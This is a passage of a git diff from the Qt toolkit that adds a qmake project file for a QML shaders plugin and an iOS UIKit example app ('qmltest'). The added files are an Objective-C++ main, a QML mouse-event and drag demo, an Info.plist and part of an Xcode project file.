+QT_END_NAMESPACE
+
+
+#endif // SHADEREFFECTSOURCE_H
diff --git a/src/imports/shaders/shaders.pro b/src/imports/shaders/shaders.pro
new file mode 100644
index 00000000..51a9a918
--- /dev/null
+++ b/src/imports/shaders/shaders.pro
@@ -0,0 +1,38 @@
+TARGET = qmlshadersplugin
+TARGETPATH = Qt/labs/shaders
+include(../qimportbase.pri)
+
+QT += declarative opengl
+
+SOURCES += \
+ qmlshadersplugin_plugin.cpp \
+ shadereffect.cpp \
+ shadereffectitem.cpp \
+ shadereffectsource.cpp \
+ scenegraph/qsggeometry.cpp \
+ shadereffectbuffer.cpp
+
+HEADERS += \
+ qmlshadersplugin_plugin.h \
+ glfunctions.h \
+ shadereffect.h \
+ shadereffectitem.h \
+ shadereffectsource.h \
+ scenegraph/qsggeometry.h \
+ shadereffectbuffer.h
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/imports/$$TARGETPATH
+target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+qmldir.files += $$PWD/qmldir
+qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+symbian:{
+ TARGET.UID3 = 0x20034907
+ isEmpty(DESTDIR):importFiles.sources = qmlparticlesplugin$${QT_LIBINFIX}.dll qmldir
+ else:importFiles.sources = $$DESTDIR/qmlparticlesplugin$${QT_LIBINFIX}.dll qmldir
+ importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH
+ DEPLOYMENT += importFiles
+}
+
+INSTALLS += target qmldir
diff --git a/src/plugins/platforms/uikit/examples/qmltest/main.mm b/src/plugins/platforms/uikit/examples/qmltest/main.mm
new file mode 100644
index 00000000..c56d7c51
--- /dev/null
+++ b/src/plugins/platforms/uikit/examples/qmltest/main.mm
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#import <UIKit/UIKit.h>
+
+#include "../share/qmlapplicationviewer/qmlapplicationviewer.h"
+
+#include <QtGui/QApplication>
+#include <QtCore/QtPlugin>
+#include <QtDeclarative/QDeclarativeEngine>
+
+Q_IMPORT_PLUGIN(UIKit)
+
+static QString qStringFromNSString(NSString *nsstring)
+{
+ return QString::fromUtf8([nsstring UTF8String]);
+}
+
+static QString documentsDirectory()
+{
+ NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
+ NSString *documentsDirectory = [paths objectAtIndex:0];
+ return qStringFromNSString(documentsDirectory);
+}
+
+int main(int argc, char *argv[]) {
+
+ NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
+
+ QApplication app(argc, argv);
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.engine()->setOfflineStoragePath(documentsDirectory());
+ NSString *resourcePath = [[NSBundle mainBundle] resourcePath];
+ viewer.setMainQmlFile(qStringFromNSString([resourcePath stringByAppendingPathComponent:@"qml/main.qml"]));
+ viewer.showMaximized();
+ int retVal = app.exec();
+ [pool release];
+ return retVal;
+}
diff --git a/src/plugins/platforms/uikit/examples/qmltest/qml/main.qml b/src/plugins/platforms/uikit/examples/qmltest/qml/main.qml
new file mode 100644
index 00000000..9f787b79
--- /dev/null
+++ b/src/plugins/platforms/uikit/examples/qmltest/qml/main.qml
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: box
+ width: 350; height: 250
+
+ Rectangle {
+ id: redSquare
+ width: 80; height: 80
+ anchors.top: parent.top; anchors.left: parent.left; anchors.margins: 10
+ color: "red"
+
+ Text { text: "Click"; font.pixelSize: 16; anchors.centerIn: parent }
+
+ MouseArea {
+ anchors.fill: parent
+ hoverEnabled: true
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+
+ onEntered: info.text = 'Entered'
+ onExited: info.text = 'Exited (pressed=' + pressed + ')'
+
+ onPressed: {
+ info.text = 'Pressed (button=' + (mouse.button == Qt.RightButton ? 'right' : 'left')
+ + ' shift=' + (mouse.modifiers & Qt.ShiftModifier ? 'true' : 'false') + ')'
+ var posInBox = redSquare.mapToItem(box, mouse.x, mouse.y)
+ posInfo.text = + mouse.x + ',' + mouse.y + ' in square'
+ + ' (' + posInBox.x + ',' + posInBox.y + ' in window)'
+ }
+
+ onReleased: {
+ info.text = 'Released (isClick=' + mouse.isClick + ' wasHeld=' + mouse.wasHeld + ')'
+ posInfo.text = ''
+ }
+
+ onPressAndHold: info.text = 'Press and hold'
+ onClicked: info.text = 'Clicked (wasHeld=' + mouse.wasHeld + ')'
+ onDoubleClicked: info.text = 'Double clicked'
+ }
+ }
+
+ Rectangle {
+ id: blueSquare
+ width: 80; height: 80
+ x: box.width - width - 10; y: 10 // making this item draggable, so don't use anchors
+ color: "blue"
+
+ Text { text: "Drag"; font.pixelSize: 16; color: "white"; anchors.centerIn: parent }
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: blueSquare
+ drag.axis: Drag.XandYAxis
+ drag.minimumX: 0
+ drag.maximumX: box.width - parent.width
+ drag.minimumY: 0
+ drag.maximumY: box.height - parent.width
+ }
+ }
+
+ Text {
+ id: info
+ anchors.bottom: posInfo.top; anchors.horizontalCenter: parent.horizontalCenter; anchors.margins: 30
+
+ onTextChanged: console.log(text)
+ }
+
+ Text {
+ id: posInfo
+ anchors.bottom: parent.bottom; anchors.horizontalCenter: parent.horizontalCenter; anchors.margins: 30
+ }
+}
diff --git a/src/plugins/platforms/uikit/examples/qmltest/qmltest-Info.plist b/src/plugins/platforms/uikit/examples/qmltest/qmltest-Info.plist
new file mode 100644
index 00000000..531d93d7
--- /dev/null
+++ b/src/plugins/platforms/uikit/examples/qmltest/qmltest-Info.plist
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+ <key>CFBundleDevelopmentRegion</key>
+ <string>English</string>
+ <key>CFBundleDisplayName</key>
+ <string>${PRODUCT_NAME}</string>
+ <key>CFBundleDocumentTypes</key>
+ <array/>
+ <key>CFBundleExecutable</key>
+ <string>${EXECUTABLE_NAME}</string>
+ <key>CFBundleIconFile</key>
+ <string></string>
+ <key>CFBundleIdentifier</key>
+ <string>com.yourcompany.${PRODUCT_NAME:rfc1034identifier}</string>
+ <key>CFBundleInfoDictionaryVersion</key>
+ <string>6.0</string>
+ <key>CFBundleName</key>
+ <string>${PRODUCT_NAME}</string>
+ <key>CFBundlePackageType</key>
+ <string>APPL</string>
+ <key>CFBundleSignature</key>
+ <string>????</string>
+ <key>CFBundleURLTypes</key>
+ <array/>
+ <key>CFBundleVersion</key>
+ <string>1.0</string>
+ <key>LSRequiresIPhoneOS</key>
+ <true/>
+ <key>UTExportedTypeDeclarations</key>
+ <array/>
+ <key>UTImportedTypeDeclarations</key>
+ <array/>
+</dict>
+</plist>
diff --git a/src/plugins/platforms/uikit/examples/qmltest/qmltest.xcodeproj/project.pbxproj b/src/plugins/platforms/uikit/examples/qmltest/qmltest.xcodeproj/project.pbxproj
new file mode 100644
index 00000000..e513030d
--- /dev/null
+++ b/src/plugins/platforms/uikit/examples/qmltest/qmltest.xcodeproj/project.pbxproj
@@ -0,0 +1,494 @@
+// !$*UTF8*$!
+{
+ archiveVersion = 1;
+ classes = {
+ };
+ objectVersion = 46;
+ objects = {
+
+/* Begin PBXBuildFile section */
+ 1D60589F0D05DD5A006BFB54 /* Foundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 1D30AB110D05D00D00671497 /* Foundation.framework */; };
+ 1DF5F4E00D08C38300B7A737 /* UIKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 1DF5F4DF0D08C38300B7A737 /* UIKit.framework */; };
+ 288765A50DF7441C002DB57D /* CoreGraphics.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 288765A40DF7441C002DB57D /* CoreGraphics.framework */; };
+ D307DEC513EBD04100399BD4 /* libquikit.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DEC413EBD04100399BD4 /* libquikit.a */; };
+ D307DECF13EBD05900399BD4 /* libQtCore.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DEC613EBD05900399BD4 /* libQtCore.a */; };
+ D307DED013EBD05900399BD4 /* libQtDeclarative.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DEC713EBD05900399BD4 /* libQtDeclarative.a */; };
+ D307DED113EBD05900399BD4 /* libQtGui.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DEC813EBD05900399BD4 /* libQtGui.a */; };
+ D307DED213EBD05900399BD4 /* libQtNetwork.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DEC913EBD05900399BD4 /* libQtNetwork.a */; };
+ D307DED313EBD05900399BD4 /* libQtOpenGL.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DECA13EBD05900399BD4 /* libQtOpenGL.a */; };
+ D307DED413EBD05900399BD4 /* libQtScript.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DECB13EBD05900399BD4 /* libQtScript.a */; };
+ D307DED513EBD05900399BD4 /* libQtSql.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DECC13EBD05900399BD4 /* libQtSql.a */; };
+ D307DED713EBD05900399BD4 /* libQtXmlPatterns.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D307DECE13EBD05900399BD4 /* libQtXmlPatterns.a */; };
+ D333CCF913B88A690070E08E /* moc_qmlapplicationviewer.cpp in Sources */ = {isa = PBXBuildFile; fileRef = D333CCF613B88A690070E08E /* moc_qmlapplicationviewer.cpp */; };
+ D333CCFA13B88A690070E08E /* moc_qmlapplicationviewer.cpp in Sources */ = {isa = PBXBuildFile; fileRef = D333CCF613B88A690070E08E /* moc_qmlapplicationviewer.cpp */; };
+ D333CCFB13B88A690070E08E /* qmlapplicationviewer.cpp in Sources */ = {isa = PBXBuildFile; fileRef = D333CCF713B88A690070E08E /* qmlapplicationviewer.cpp */; };
+ D333CCFC13B88A690070E08E /* qmlapplicationviewer.cpp in Sources */ = {isa = PBXBuildFile; fileRef = D333CCF713B88A690070E08E /* qmlapplicationviewer.cpp */; };
+ D34F290413F29AF400E4F9AC /* CoreText.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = D34F290313F29AF400E4F9AC /* CoreText.framework */; };
+ D34F290713F29B0A00E4F9AC /* CoreText.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = D34F290613F29B0300E4F9AC /* CoreText.framework */; };
+ D35784261345D9940046D202 /* OpenGLES.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = D35784251345D9940046D202 /* OpenGLES.framework */; };
+ D35784281345D9E00046D202 /* QuartzCore.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = D35784271345D9E00046D202 /* QuartzCore.framework */; };
+ D3578436134A09990046D202 /* libQtOpenGL.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3578435134A09990046D202 /* libQtOpenGL.a */; };
+ D3578439134A0AAE0046D202 /* OpenGLES.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = D35784251345D9940046D202 /* OpenGLES.framework */; };
+ D357843A134A0AB10046D202 /* QuartzCore.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = D35784271345D9E00046D202 /* QuartzCore.framework */; };
+ D3CAA7C813264AAD008BB877 /* main.mm in Sources */ = {isa = PBXBuildFile; fileRef = D3CAA7C713264AAD008BB877 /* main.mm */; };
+ D3CAA7EC13264F52008BB877 /* main.mm in Sources */ = {isa = PBXBuildFile; fileRef = D3CAA7C713264AAD008BB877 /* main.mm */; };
+ D3CAA7F013264F52008BB877 /* Foundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 1D30AB110D05D00D00671497 /* Foundation.framework */; };
+ D3CAA7F113264F52008BB877 /* UIKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 1DF5F4DF0D08C38300B7A737 /* UIKit.framework */; };
+ D3CAA7F213264F52008BB877 /* CoreGraphics.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 288765A40DF7441C002DB57D /* CoreGraphics.framework */; };
+ D3CAA7FA13264F8A008BB877 /* libz.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = D3CAA7F913264F8A008BB877 /* libz.dylib */; };
+ D3CAA81113264FF0008BB877 /* libz.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = D3CAA7F913264F8A008BB877 /* libz.dylib */; };
+ D3CAA89113265310008BB877 /* qml in Resources */ = {isa = PBXBuildFile; fileRef = D3CAA88E13265310008BB877 /* qml */; };
+ D3CAA89213265310008BB877 /* qml in Resources */ = {isa = PBXBuildFile; fileRef = D3CAA88E13265310008BB877 /* qml */; };
+ D3D817B2132A2CFD00CDE422 /* libQtCore.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817AA132A2CFD00CDE422 /* libQtCore.a */; };
+ D3D817B3132A2CFD00CDE422 /* libQtDeclarative.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817AB132A2CFD00CDE422 /* libQtDeclarative.a */; };
+ D3D817B4132A2CFD00CDE422 /* libQtGui.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817AC132A2CFD00CDE422 /* libQtGui.a */; };
+ D3D817B5132A2CFD00CDE422 /* libQtNetwork.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817AD132A2CFD00CDE422 /* libQtNetwork.a */; };
+ D3D817B6132A2CFD00CDE422 /* libQtScript.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817AE132A2CFD00CDE422 /* libQtScript.a */; };
+ D3D817B7132A2CFD00CDE422 /* libQtSql.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817AF132A2CFD00CDE422 /* libQtSql.a */; };
+ D3D817B9132A2CFD00CDE422 /* libQtXmlPatterns.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817B1132A2CFD00CDE422 /* libQtXmlPatterns.a */; };
+ D3D817BB132A2D0E00CDE422 /* libquikit.a in Frameworks */ = {isa = PBXBuildFile; fileRef = D3D817BA132A2D0E00CDE422 /* libquikit.a */; };
+/* End PBXBuildFile section */
+
+/* Begin PBXFileReference section */
+ 1D30AB110D05D00D00671497 /* Foundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Foundation.framework; path = System/Library/Frameworks/Foundation.framework; sourceTree = SDKROOT; };
+ 1D6058910D05DD3D006BFB54 /* qmltest.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = qmltest.app; sourceTree = BUILT_PRODUCTS_DIR; };
+ 1DF5F4DF0D08C38300B7A737 /* UIKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = UIKit.framework; path = System/Library/Frameworks/UIKit.framework; sourceTree = SDKROOT; };
+ 288765A40DF7441C002DB57D /* CoreGraphics.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreGraphics.framework; path = System/Library/Frameworks/CoreGraphics.framework; sourceTree = SDKROOT; };
+ 32CA4F630368D1EE00C91783 /* qmltest_Prefix.pch */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = qmltest_Prefix.pch; sourceTree = "<group>"; };
+ 8D1107310486CEB800E47090 /* qmltest-Info.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "qmltest-Info.plist"; plistStructureDefinitionIdentifier = "com.apple.xcode.plist.structure-definition.iphone.info-plist"; sourceTree = "<group>"; };
+ D307DEC413EBD04100399BD4 /* libquikit.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libquikit.a; path = "../../../../../../../qt-lighthouse-ios-simulator/plugins/platforms/libquikit.a"; sourceTree = "<group>"; };
+ D307DEC613EBD05900399BD4 /* libQtCore.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtCore.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtCore.a"; sourceTree = "<group>"; };
+ D307DEC713EBD05900399BD4 /* libQtDeclarative.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtDeclarative.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtDeclarative.a"; sourceTree = "<group>"; };
+ D307DEC813EBD05900399BD4 /* libQtGui.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtGui.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtGui.a"; sourceTree = "<group>"; };
+ D307DEC913EBD05900399BD4 /* libQtNetwork.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtNetwork.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtNetwork.a"; sourceTree = "<group>"; };
+ D307DECA13EBD05900399BD4 /* libQtOpenGL.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtOpenGL.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtOpenGL.a"; sourceTree = "<group>"; };
+ D307DECB13EBD05900399BD4 /* libQtScript.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtScript.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtScript.a"; sourceTree = "<group>"; };
+ D307DECC13EBD05900399BD4 /* libQtSql.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtSql.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtSql.a"; sourceTree = "<group>"; };
+ D307DECE13EBD05900399BD4 /* libQtXmlPatterns.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtXmlPatterns.a; path = "../../../../../../../qt-lighthouse-ios-simulator/lib/libQtXmlPatterns.a"; sourceTree = "<group>"; };
+ D333CCF613B88A690070E08E /* moc_qmlapplicationviewer.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = moc_qmlapplicationviewer.cpp; path = ../share/qmlapplicationviewer/moc_qmlapplicationviewer.cpp; sourceTree = "<group>"; };
+ D333CCF713B88A690070E08E /* qmlapplicationviewer.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = qmlapplicationviewer.cpp; path = ../share/qmlapplicationviewer/qmlapplicationviewer.cpp; sourceTree = "<group>"; };
+ D333CCF813B88A690070E08E /* qmlapplicationviewer.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = qmlapplicationviewer.h; path = ../share/qmlapplicationviewer/qmlapplicationviewer.h; sourceTree = "<group>"; };
+ D34F290313F29AF400E4F9AC /* CoreText.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreText.framework; path = System/Library/Frameworks/CoreText.framework; sourceTree = SDKROOT; };
+ D34F290613F29B0300E4F9AC /* CoreText.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreText.framework; path = System/Library/Frameworks/CoreText.framework; sourceTree = SDKROOT; };
+ D35784251345D9940046D202 /* OpenGLES.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = OpenGLES.framework; path = System/Library/Frameworks/OpenGLES.framework; sourceTree = SDKROOT; };
+ D35784271345D9E00046D202 /* QuartzCore.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = QuartzCore.framework; path = System/Library/Frameworks/QuartzCore.framework; sourceTree = SDKROOT; };
+ D3578435134A09990046D202 /* libQtOpenGL.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtOpenGL.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtOpenGL.a"; sourceTree = "<group>"; };
+ D3CAA7C713264AAD008BB877 /* main.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = main.mm; sourceTree = "<group>"; };
+ D3CAA7F613264F52008BB877 /* qmltest.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = qmltest.app; sourceTree = BUILT_PRODUCTS_DIR; };
+ D3CAA7F913264F8A008BB877 /* libz.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libz.dylib; path = usr/lib/libz.dylib; sourceTree = SDKROOT; };
+ D3CAA88E13265310008BB877 /* qml */ = {isa = PBXFileReference; lastKnownFileType = folder; path = qml; sourceTree = SOURCE_ROOT; };
+ D3D817AA132A2CFD00CDE422 /* libQtCore.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtCore.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtCore.a"; sourceTree = SOURCE_ROOT; };
+ D3D817AB132A2CFD00CDE422 /* libQtDeclarative.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtDeclarative.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtDeclarative.a"; sourceTree = SOURCE_ROOT; };
+ D3D817AC132A2CFD00CDE422 /* libQtGui.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtGui.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtGui.a"; sourceTree = SOURCE_ROOT; };
+ D3D817AD132A2CFD00CDE422 /* libQtNetwork.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtNetwork.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtNetwork.a"; sourceTree = SOURCE_ROOT; };
+ D3D817AE132A2CFD00CDE422 /* libQtScript.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtScript.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtScript.a"; sourceTree = SOURCE_ROOT; };
+ D3D817AF132A2CFD00CDE422 /* libQtSql.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtSql.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtSql.a"; sourceTree = SOURCE_ROOT; };
+ D3D817B1132A2CFD00CDE422 /* libQtXmlPatterns.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libQtXmlPatterns.a; path = "../../../../../../../qt-lighthouse-ios-device/lib/libQtXmlPatterns.a"; sourceTree = SOURCE_ROOT; };
+ D3D817BA132A2D0E00CDE422 /* libquikit.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libquikit.a; path = "../../../../../../../qt-lighthouse-ios-device/plugins/platforms/libquikit.a"; sourceTree = SOURCE_ROOT; };
+/* End PBXFileReference section */
+
+/* Begin PBXFrameworksBuildPhase section */
+ 1D60588F0D05DD3D006BFB54 /* Frameworks */ = {
+ isa = PBXFrameworksBuildPhase;
+ buildActionMask = 2147483647;
+ files = (
+ D34F290413F29AF400E4F9AC /* CoreText.framework in Frameworks */,
+ D35784281345D9E00046D202 /* QuartzCore.framework in Frameworks */,
+ 1D60589F0D05DD5A006BFB54 /* Foundation.framework in Frameworks */,
+ 1DF5F4E00D08C38300B7A737 /* UIKit.framework in Frameworks */,
+ 288765A50DF7441C002DB57D /* CoreGraphics.framework in Frameworks */,
+ D35784261345D9940046D202 /* OpenGLES.framework in Frameworks */,
+ D3CAA7FA13264F8A008BB877 /* libz.dylib in Frameworks */,
+ D307DECF13EBD05900399BD4 /* libQtCore.a in Frameworks */,
+ D307DED013EBD05900399BD4 /* libQtDeclarative.a in Frameworks */,
+ D307DED113EBD05900399BD4 /* libQtGui.a in Frameworks */,
+ D307DED213EBD05900399BD4 /* libQtNetwork.a in Frameworks */,
+ D307DED313EBD05900399BD4 /* libQtOpenGL.a in Frameworks */,
+ D307DED413EBD05900399BD4 /* libQtScript.a in Frameworks */,
+ D307DED513EBD05900399BD4 /* libQtSql.a in Frameworks */,
+ D307DED713EBD05900399BD4 /* libQtXmlPatterns.a in Frameworks */,
+ D307DEC513EBD04100399BD4 /* libquikit.a in Frameworks */,
+ );
+ runOnlyForDeploymentPostprocessing = 0;
+ };
+ D3CAA7EF13264F52008BB877 /* Frameworks */ = {
+ isa = PBXFrameworksBuildPhase;
+ buildActionMask = 2147483647;
+ files = (
+ D34F290713F29B0A00E4F9AC /* CoreText.framework in Frameworks */,
+ D357843A134A0AB10046D202 /* QuartzCore.framework in Frameworks */,
+ D3578439134A0AAE0046D202 /* OpenGLES.framework in Frameworks */,
+ D3CAA7F013264F52008BB877 /* Foundation.framework in Frameworks */,
+ D3CAA7F113264F52008BB877 /* UIKit.framework in Frameworks */,
+ D3CAA7F213264F52008BB877 /* CoreGraphics.framework in Frameworks */,
+ D3CAA81113264FF0008BB877 /* libz.dylib in Frameworks */,
+ D3D817B2132A2CFD00CDE422 /* libQtCore.a in Frameworks */,
+ D3D817B3132A2CFD00CDE422 /* libQtDeclarative.a in Frameworks */,
+ D3D817B4132A2CFD00CDE422 /* libQtGui.a in Frameworks */,
+ D3D817B5132A2CFD00CDE422 /* libQtNetwork.a in Frameworks */,
+ D3D817B6132A2CFD00CDE422 /* libQtScript.a in Frameworks */,
+ D3D817B7132A2CFD00CDE422 /* libQtSql.a in Frameworks */,
+ D3D817B9132A2CFD00CDE422 /* libQtXmlPatterns.a in Frameworks */,
+ D3D817BB132A2D0E00CDE422 /* libquikit.a in Frameworks */,
+ D3578436134A09990046D202 /* libQtOpenGL.a in Frameworks */,
+ );
+ runOnlyForDeploymentPostprocessing = 0;
+ };
+/* End PBXFrameworksBuildPhase section */
+
+/* Begin PBXGroup section */
+ 19C28FACFE9D520D11CA2CBB /* Products */ = {
+ isa = PBXGroup;
+ children = (
+ 1D6058910D05DD3D006BFB54 /* qmltest.app */,
+ D3CAA7F613264F52008BB877 /* qmltest.app */,
+ );
+ name = Products;
+ sourceTree = "<group>";
+ };
+ 29B97314FDCFA39411CA2CEA /* CustomTemplate */ = {
+ isa = PBXGroup;
+ children = (
+ D34F290313F29AF400E4F9AC /* CoreText.framework */,
+ 29B97315FDCFA39411CA2CEA /* Other Sources */,
+ 29B97317FDCFA39411CA2CEA /* Resources */,
+ D3CAA7E213264E8C008BB877 /* QMLApplicationViewer */,
+ 29B97323FDCFA39411CA2CEA /* Frameworks */,
+ 19C28FACFE9D520D11CA2CBB /* Products */,
+ );
+ name = CustomTemplate;
+ sourceTree = "<group>";
+ };
+ 29B97315FDCFA39411CA2CEA /* Other Sources */ = {
+ isa = PBXGroup;
+ children = (
+ 32CA4F630368D1EE00C91783 /* qmltest_Prefix.pch */,
+ D3CAA7C713264AAD008BB877 /* main.mm */,
+ );
+ name = "Other Sources";
